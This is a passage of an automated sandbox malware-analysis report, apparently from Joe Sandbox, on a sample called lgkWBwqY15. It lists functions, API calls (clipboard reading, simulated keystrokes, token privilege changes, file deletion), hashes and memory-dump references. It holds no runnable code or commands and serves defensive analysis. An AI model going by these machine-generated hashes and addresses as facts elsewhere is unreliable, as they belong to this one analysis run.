                                                                                      • Instruction ID: 4fa021415a4727ab85a5f2fe1a7122ce61cfb83223ff9b54171caf44cb09b67c
                                                                                      • Opcode Fuzzy Hash: b9f911ad91b6db7aa51102f2004e96d1e2715f0da8245389efe5e07caa0c8c2e
                                                                                      • Instruction Fuzzy Hash: 4E21E5745086028FDB24DF68C448B9BBFE1BF85304F154968E99A4B6A2D731F885CF52
                                                                                      Function 005CAF61 Relevance: 1.6, APIs: 1, Instructions: 56COMMONLIBRARYCODE
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • ___lock_fhandle.LIBCMT ref: 005CAFC0
                                                                                        • Part of subcall function 005C7BDA: __getptd_noexit.LIBCMT ref: 005C7BDA
                                                                                        • Part of subcall function 005C7C0E: __getptd_noexit.LIBCMT ref: 005C7C0E
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: __getptd_noexit$___lock_fhandle
                                                                                      • String ID:
                                                                                      • API String ID: 1144279405-0
                                                                                      • Opcode ID: ca50e35a433e6f9c0dc53ba68096bc55ac2b0fec5da00f31d2f6644406566f5b
                                                                                      • Instruction ID: 5a72ce3c0013c1ff50836510c93b275ada584ee32a448d1d692a82e9920013cd
                                                                                      • Opcode Fuzzy Hash: ca50e35a433e6f9c0dc53ba68096bc55ac2b0fec5da00f31d2f6644406566f5b
                                                                                      • Instruction Fuzzy Hash: 0F1190728056169FE7126FE4880AF5A3E61BF91335F15474CE4302B1E3D7B88E00DBA2
                                                                                      Function 005A39DB Relevance: 1.5, APIs: 1, Instructions: 41COMMON
                                                                                      Download Yara Rule
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: LibraryLoad
                                                                                      • String ID:
                                                                                      • API String ID: 1029625771-0
                                                                                      • Opcode ID: 279f5f87aea4605f70f2d64a128fa314d82d263771f3b219d5efef33e318cff7
                                                                                      • Instruction ID: aa2897295760aca639bc93315266eddb7f89801cadbb42536bf6f287d9f40c15
                                                                                      • Opcode Fuzzy Hash: 279f5f87aea4605f70f2d64a128fa314d82d263771f3b219d5efef33e318cff7
                                                                                      • Instruction Fuzzy Hash: 4401813140010AAFCF04EFA4C896CEEBF75BF62304F108069B566971A5EA309A89CF60
                                                                                      Function 005C2AAE Relevance: 1.5, APIs: 1, Instructions: 35COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • __lock_file.LIBCMT ref: 005C2AED
                                                                                        • Part of subcall function 005C7C0E: __getptd_noexit.LIBCMT ref: 005C7C0E
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: __getptd_noexit__lock_file
                                                                                      • String ID:
                                                                                      • API String ID: 2597487223-0
                                                                                      • Opcode ID: 95fc7d39c8944ab2b85598975ae83384be6938b950fdadb5026cd0c2c8972dc6
                                                                                      • Instruction ID: 2c9208fbcbe2b23e1f9cd66895885117486e9cdbca4d9d19d7c20c9010aa9607
                                                                                      • Opcode Fuzzy Hash: 95fc7d39c8944ab2b85598975ae83384be6938b950fdadb5026cd0c2c8972dc6
                                                                                      • Instruction Fuzzy Hash: 0EF06231900206AEDF21AFE58C0AF9F3EA5BF80314F15451DB4149B191D7B98E62DB51
                                                                                      Function 005A4252 Relevance: 1.5, APIs: 1, Instructions: 28COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • FreeLibrary.KERNEL32(?,?,?,?,?,005A39FE,?,00000001), ref: 005A4286
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: FreeLibrary
                                                                                      • String ID:
                                                                                      • API String ID: 3664257935-0
                                                                                      • Opcode ID: 20ddef3686eaeb5e6b4fb86b276c9a4f01b96485293ad76bbae8d103fe13b02f
                                                                                      • Instruction ID: e37d3526a3defe0266c6dad90635ce75cfa13d05a100650a3df4674864456b93
                                                                                      • Opcode Fuzzy Hash: 20ddef3686eaeb5e6b4fb86b276c9a4f01b96485293ad76bbae8d103fe13b02f
                                                                                      • Instruction Fuzzy Hash: 1DF01579505702CFCB349FA4D894A1ABFE5BF863257248A2EF1D682A10C7B29844DF50
                                                                                      Function 005A40A7 Relevance: 1.5, APIs: 1, Instructions: 23COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 005A40C6
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: LongNamePath
                                                                                      • String ID:
                                                                                      • API String ID: 82841172-0
                                                                                      • Opcode ID: 14296cc612c930e757318bda33454d45cc43d01569041ea3fa47ce1b16d59ea9
                                                                                      • Instruction ID: 8b3e77ead7328e30e7fe67d87e6f37b7605fdf4b842a8992feddd555b8a93fb7
                                                                                      • Opcode Fuzzy Hash: 14296cc612c930e757318bda33454d45cc43d01569041ea3fa47ce1b16d59ea9
                                                                                      • Instruction Fuzzy Hash: C1E0CD375002255FC7119654CC4AFEE779DEFC8690F090075F905D7244D97499818690
                                                                                      Function 01036C80 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • Sleep.KERNELBASE(000001F4), ref: 01036C91
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348904164.0000000001034000.00000040.00000020.00020000.00000000.sdmp, Offset: 01034000, based on PE: false
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_1034000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Sleep
                                                                                      • String ID:
                                                                                      • API String ID: 3472027048-0
                                                                                      • Opcode ID: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
                                                                                      • Instruction ID: 0abb661ced28974a775687e70aa9d2a646e255deaf03ec3926ac77e74848d55c
                                                                                      • Opcode Fuzzy Hash: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
                                                                                      • Instruction Fuzzy Hash: 54E0E67494010DEFDB00EFF8D6496EE7FB4EF04301F100161FD01D2281D6319E508A62

                                                                                      Non-executed Functions

                                                                                      Function 0060F7FF Relevance: 74.1, APIs: 40, Strings: 2, Instructions: 630windowkeyboardCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 005BB34E: GetWindowLongW.USER32(?,000000EB), ref: 005BB35F
                                                                                      • DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?,?), ref: 0060F87D
                                                                                      • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0060F8DC
                                                                                      • GetWindowLongW.USER32(?,000000F0), ref: 0060F919
                                                                                      • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0060F940
                                                                                      • SendMessageW.USER32 ref: 0060F966
                                                                                      • _wcsncpy.LIBCMT ref: 0060F9D2
                                                                                      • GetKeyState.USER32(00000011), ref: 0060F9F3
                                                                                      • GetKeyState.USER32(00000009), ref: 0060FA00
                                                                                      • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0060FA16
                                                                                      • GetKeyState.USER32(00000010), ref: 0060FA20
                                                                                      • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0060FA4F
                                                                                      • SendMessageW.USER32 ref: 0060FA72
                                                                                      • SendMessageW.USER32(?,00001030,?,0060E059), ref: 0060FB6F
                                                                                      • ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?,?), ref: 0060FB85
                                                                                      • ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 0060FB96
                                                                                      • SetCapture.USER32(?), ref: 0060FB9F
                                                                                      • ClientToScreen.USER32(?,?), ref: 0060FC03
                                                                                      • ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 0060FC0F
                                                                                      • InvalidateRect.USER32(?,00000000,00000001,?,?,?,?), ref: 0060FC29
                                                                                      • ReleaseCapture.USER32 ref: 0060FC34
                                                                                      • GetCursorPos.USER32(?), ref: 0060FC69
                                                                                      • ScreenToClient.USER32(?,?), ref: 0060FC76
                                                                                      • SendMessageW.USER32(?,00001012,00000000,?), ref: 0060FCD8
                                                                                      • SendMessageW.USER32 ref: 0060FD02
                                                                                      • SendMessageW.USER32(?,00001111,00000000,?), ref: 0060FD41
                                                                                      • SendMessageW.USER32 ref: 0060FD6C
                                                                                      • SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 0060FD84
                                                                                      • SendMessageW.USER32(?,0000110B,00000009,?), ref: 0060FD8F
                                                                                      • GetCursorPos.USER32(?), ref: 0060FDB0
                                                                                      • ScreenToClient.USER32(?,?), ref: 0060FDBD
                                                                                      • GetParent.USER32(?), ref: 0060FDD9
                                                                                      • SendMessageW.USER32(?,00001012,00000000,?), ref: 0060FE3F
                                                                                      • SendMessageW.USER32 ref: 0060FE6F
                                                                                      • ClientToScreen.USER32(?,?), ref: 0060FEC5
                                                                                      • TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 0060FEF1
                                                                                      • SendMessageW.USER32(?,00001111,00000000,?), ref: 0060FF19
                                                                                      • SendMessageW.USER32 ref: 0060FF3C
                                                                                      • ClientToScreen.USER32(?,?), ref: 0060FF86
                                                                                      • TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 0060FFB6
                                                                                      • GetWindowLongW.USER32(?,000000F0), ref: 0061004B
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: MessageSend$ClientScreen$Image$CursorDragList_LongStateWindow$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease_wcsncpy
                                                                                      • String ID: @GUI_DRAGID$F
                                                                                      • API String ID: 2516578528-4164748364
                                                                                      • Opcode ID: 0864a8c6ea12a8c5f4e068408f585bdb78c0a2ed36d9a11778a03dcef941ce78
                                                                                      • Instruction ID: b1391f3a658739b6d857fba2cdea7e7c75b2c616c5a387c53be765550e259d41
                                                                                      • Opcode Fuzzy Hash: 0864a8c6ea12a8c5f4e068408f585bdb78c0a2ed36d9a11778a03dcef941ce78
                                                                                      • Instruction Fuzzy Hash: 4E32BA74604345AFDB28CF28C884AAABBB6FF49344F184A29F6558B6E1C771EC41CB51
                                                                                      Function 0060AACE Relevance: 60.1, APIs: 33, Strings: 1, Instructions: 574windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • SendMessageW.USER32(?,00000400,00000000,00000000), ref: 0060B1CD
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: MessageSend
                                                                                      • String ID: %d/%02d/%02d
                                                                                      • API String ID: 3850602802-328681919
                                                                                      • Opcode ID: 5cbef2852d2de4ed9ab5ec3b326aef0cc121d34a0b5b3a6be8536c2c9e9492d6
                                                                                      • Instruction ID: 75f61bf0409755bb4db53b8c4a23e9af6c5590189af753d5663efe80f98bf4c2
                                                                                      • Opcode Fuzzy Hash: 5cbef2852d2de4ed9ab5ec3b326aef0cc121d34a0b5b3a6be8536c2c9e9492d6
                                                                                      • Instruction Fuzzy Hash: 2D12DE71540309ABEB288F64DC49FAF7BBAFF85350F108159F916DA2D1DBB09942CB11
                                                                                      Function 005BEB42 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 130keyboardthreadwindowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetForegroundWindow.USER32(00000000,00000000), ref: 005BEB4A
                                                                                      • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00613AEA
                                                                                      • IsIconic.USER32(000000FF), ref: 00613AF3
                                                                                      • ShowWindow.USER32(000000FF,00000009), ref: 00613B00
                                                                                      • SetForegroundWindow.USER32(000000FF), ref: 00613B0A
                                                                                      • GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00613B20
                                                                                      • GetCurrentThreadId.KERNEL32 ref: 00613B27
                                                                                      • GetWindowThreadProcessId.USER32(000000FF,00000000), ref: 00613B33
                                                                                      • AttachThreadInput.USER32(000000FF,00000000,00000001), ref: 00613B44
                                                                                      • AttachThreadInput.USER32(000000FF,00000000,00000001), ref: 00613B4C
                                                                                      • AttachThreadInput.USER32(00000000,?,00000001), ref: 00613B54
                                                                                      • SetForegroundWindow.USER32(000000FF), ref: 00613B57
                                                                                      • MapVirtualKeyW.USER32(00000012,00000000), ref: 00613B6C
                                                                                      • keybd_event.USER32(00000012,00000000), ref: 00613B77
                                                                                      • MapVirtualKeyW.USER32(00000012,00000000), ref: 00613B81
                                                                                      • keybd_event.USER32(00000012,00000000), ref: 00613B86
                                                                                      • MapVirtualKeyW.USER32(00000012,00000000), ref: 00613B8F
                                                                                      • keybd_event.USER32(00000012,00000000), ref: 00613B94
                                                                                      • MapVirtualKeyW.USER32(00000012,00000000), ref: 00613B9E
                                                                                      • keybd_event.USER32(00000012,00000000), ref: 00613BA3
                                                                                      • SetForegroundWindow.USER32(000000FF), ref: 00613BA6
                                                                                      • AttachThreadInput.USER32(000000FF,?,00000000), ref: 00613BCD
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
                                                                                      • String ID: Shell_TrayWnd
                                                                                      • API String ID: 4125248594-2988720461
                                                                                      • Opcode ID: 54ead38d1265c278d4c785eb2e997dc16c793b23d593428019a68ae47d20f803
                                                                                      • Instruction ID: bc135732f90319dae19a52cfa37e76f382ec0fa011243c8d5d647387f9c2fbb5
                                                                                      • Opcode Fuzzy Hash: 54ead38d1265c278d4c785eb2e997dc16c793b23d593428019a68ae47d20f803
                                                                                      • Instruction Fuzzy Hash: 47318771A40328BFEB305B658C4AFBF7E6EEF44B50F144025FA05FA2D0D6B15D41AAA0
                                                                                      Function 005DACC5 Relevance: 37.0, APIs: 17, Strings: 4, Instructions: 223COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 005DB134: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 005DB180
                                                                                        • Part of subcall function 005DB134: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 005DB1AD
                                                                                        • Part of subcall function 005DB134: GetLastError.KERNEL32 ref: 005DB1BA
                                                                                      • _memset.LIBCMT ref: 005DAD08
                                                                                      • DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,00000001,?,?), ref: 005DAD5A
                                                                                      • CloseHandle.KERNEL32(?), ref: 005DAD6B
                                                                                      • OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 005DAD82
                                                                                      • GetProcessWindowStation.USER32 ref: 005DAD9B
                                                                                      • SetProcessWindowStation.USER32(00000000), ref: 005DADA5
                                                                                      • OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 005DADBF
                                                                                        • Part of subcall function 005DAB84: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,005DACC0), ref: 005DAB99
                                                                                        • Part of subcall function 005DAB84: CloseHandle.KERNEL32(?,?,005DACC0), ref: 005DABAB
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLookupPrivilegeValue_memset
                                                                                      • String ID: $H*e$default$winsta0
                                                                                      • API String ID: 2063423040-3565783006
                                                                                      • Opcode ID: c2227fb4c65b9e03801af680625022b27e7dd1b5bd474cbfa68104ccff2b5c70
                                                                                      • Instruction ID: f8293a1f0a49720afe7779c1d5c55621b4061e5cf14eb8c1fe88f14252aef0eb
                                                                                      • Opcode Fuzzy Hash: c2227fb4c65b9e03801af680625022b27e7dd1b5bd474cbfa68104ccff2b5c70
                                                                                      • Instruction Fuzzy Hash: C781377180020AAFDF219FA8CC49AEFBB79FF04304F14415BF915A62A1D7358E55DB61
                                                                                      Function 005E60DD Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 174filestringCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 005E6EBB: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,005E5FA6,?), ref: 005E6ED8
                                                                                        • Part of subcall function 005E6EBB: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,005E5FA6,?), ref: 005E6EF1
                                                                                        • Part of subcall function 005E725E: __wsplitpath.LIBCMT ref: 005E727B
                                                                                        • Part of subcall function 005E725E: __wsplitpath.LIBCMT ref: 005E728E
                                                                                        • Part of subcall function 005E72CB: GetFileAttributesW.KERNEL32(?,005E6019), ref: 005E72CC
                                                                                      • _wcscat.LIBCMT ref: 005E6149
                                                                                      • _wcscat.LIBCMT ref: 005E6167
                                                                                      • __wsplitpath.LIBCMT ref: 005E618E
                                                                                      • FindFirstFileW.KERNEL32(?,?), ref: 005E61A4
                                                                                      • _wcscpy.LIBCMT ref: 005E6209
                                                                                      • _wcscat.LIBCMT ref: 005E621C
                                                                                      • _wcscat.LIBCMT ref: 005E622F
                                                                                      • lstrcmpiW.KERNEL32(?,?), ref: 005E625D
                                                                                      • DeleteFileW.KERNEL32(?), ref: 005E626E
                                                                                      • MoveFileW.KERNEL32(?,?), ref: 005E6289
                                                                                      • MoveFileW.KERNEL32(?,?), ref: 005E6298
                                                                                      • CopyFileW.KERNEL32(?,?,00000000), ref: 005E62AD
                                                                                      • DeleteFileW.KERNEL32(?), ref: 005E62BE
                                                                                      • FindNextFileW.KERNEL32(00000000,00000010), ref: 005E62E1
                                                                                      • FindClose.KERNEL32(00000000), ref: 005E62FD
                                                                                      • FindClose.KERNEL32(00000000), ref: 005E630B
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: File$Find_wcscat$__wsplitpath$CloseDeleteFullMoveNamePath$AttributesCopyFirstNext_wcscpylstrcmpi
                                                                                      • String ID: \*.*$p1ou`Kpu
                                                                                      • API String ID: 1917200108-531078103
                                                                                      • Opcode ID: b77ad23c4227f1df3f783b32671d47d5332f1f847bf5dfafb7f9c9ac95840346
                                                                                      • Instruction ID: e48b7d86c6bf6ac56cb14a8213e87ed42b4ef9ff33be5563a81aa90d98eacf76
                                                                                      • Opcode Fuzzy Hash: b77ad23c4227f1df3f783b32671d47d5332f1f847bf5dfafb7f9c9ac95840346
                                                                                      • Instruction Fuzzy Hash: C851527680815D9ACB25EB92CC48DDF7BBCBF15380F0504EAE685E3141DE3697498FA4
                                                                                      Function 005F6B0C Relevance: 30.2, APIs: 20, Instructions: 167clipboardCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • OpenClipboard.USER32(0063DC00), ref: 005F6B36
                                                                                      • IsClipboardFormatAvailable.USER32(0000000D), ref: 005F6B44
                                                                                      • GetClipboardData.USER32(0000000D), ref: 005F6B4C
                                                                                      • CloseClipboard.USER32 ref: 005F6B58
                                                                                      • GlobalLock.KERNEL32(00000000), ref: 005F6B74
                                                                                      • CloseClipboard.USER32 ref: 005F6B7E
                                                                                      • GlobalUnlock.KERNEL32(00000000), ref: 005F6B93
                                                                                      • IsClipboardFormatAvailable.USER32(00000001), ref: 005F6BA0
                                                                                      • GetClipboardData.USER32(00000001), ref: 005F6BA8
                                                                                      • GlobalLock.KERNEL32(00000000), ref: 005F6BB5
                                                                                      • GlobalUnlock.KERNEL32(00000000), ref: 005F6BE9
                                                                                      • CloseClipboard.USER32 ref: 005F6CF6
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Clipboard$Global$Close$AvailableDataFormatLockUnlock$Open
                                                                                      • String ID:
                                                                                      • API String ID: 3222323430-0
                                                                                      • Opcode ID: ae0fcc561fcfa4dcca29924ecb4ba425e6569a6f57b22779bc913804603559a1
                                                                                      • Instruction ID: 3bc6456ce98dbfc648e13e26cbcf576dc635d563e2285c52911e98f263572bfa
                                                                                      • Opcode Fuzzy Hash: ae0fcc561fcfa4dcca29924ecb4ba425e6569a6f57b22779bc913804603559a1
                                                                                      • Instruction Fuzzy Hash: 2451AF71200606ABD310AF60DD8AF7E7BA9FF95B00F000429F696D61E1DF74D906CB62
                                                                                      Function 005EF5FA Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 278timefileCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • FindFirstFileW.KERNEL32(?,?), ref: 005EF62B
                                                                                      • FindClose.KERNEL32(00000000), ref: 005EF67F
                                                                                      • FileTimeToLocalFileTime.KERNEL32(?,?), ref: 005EF6A4
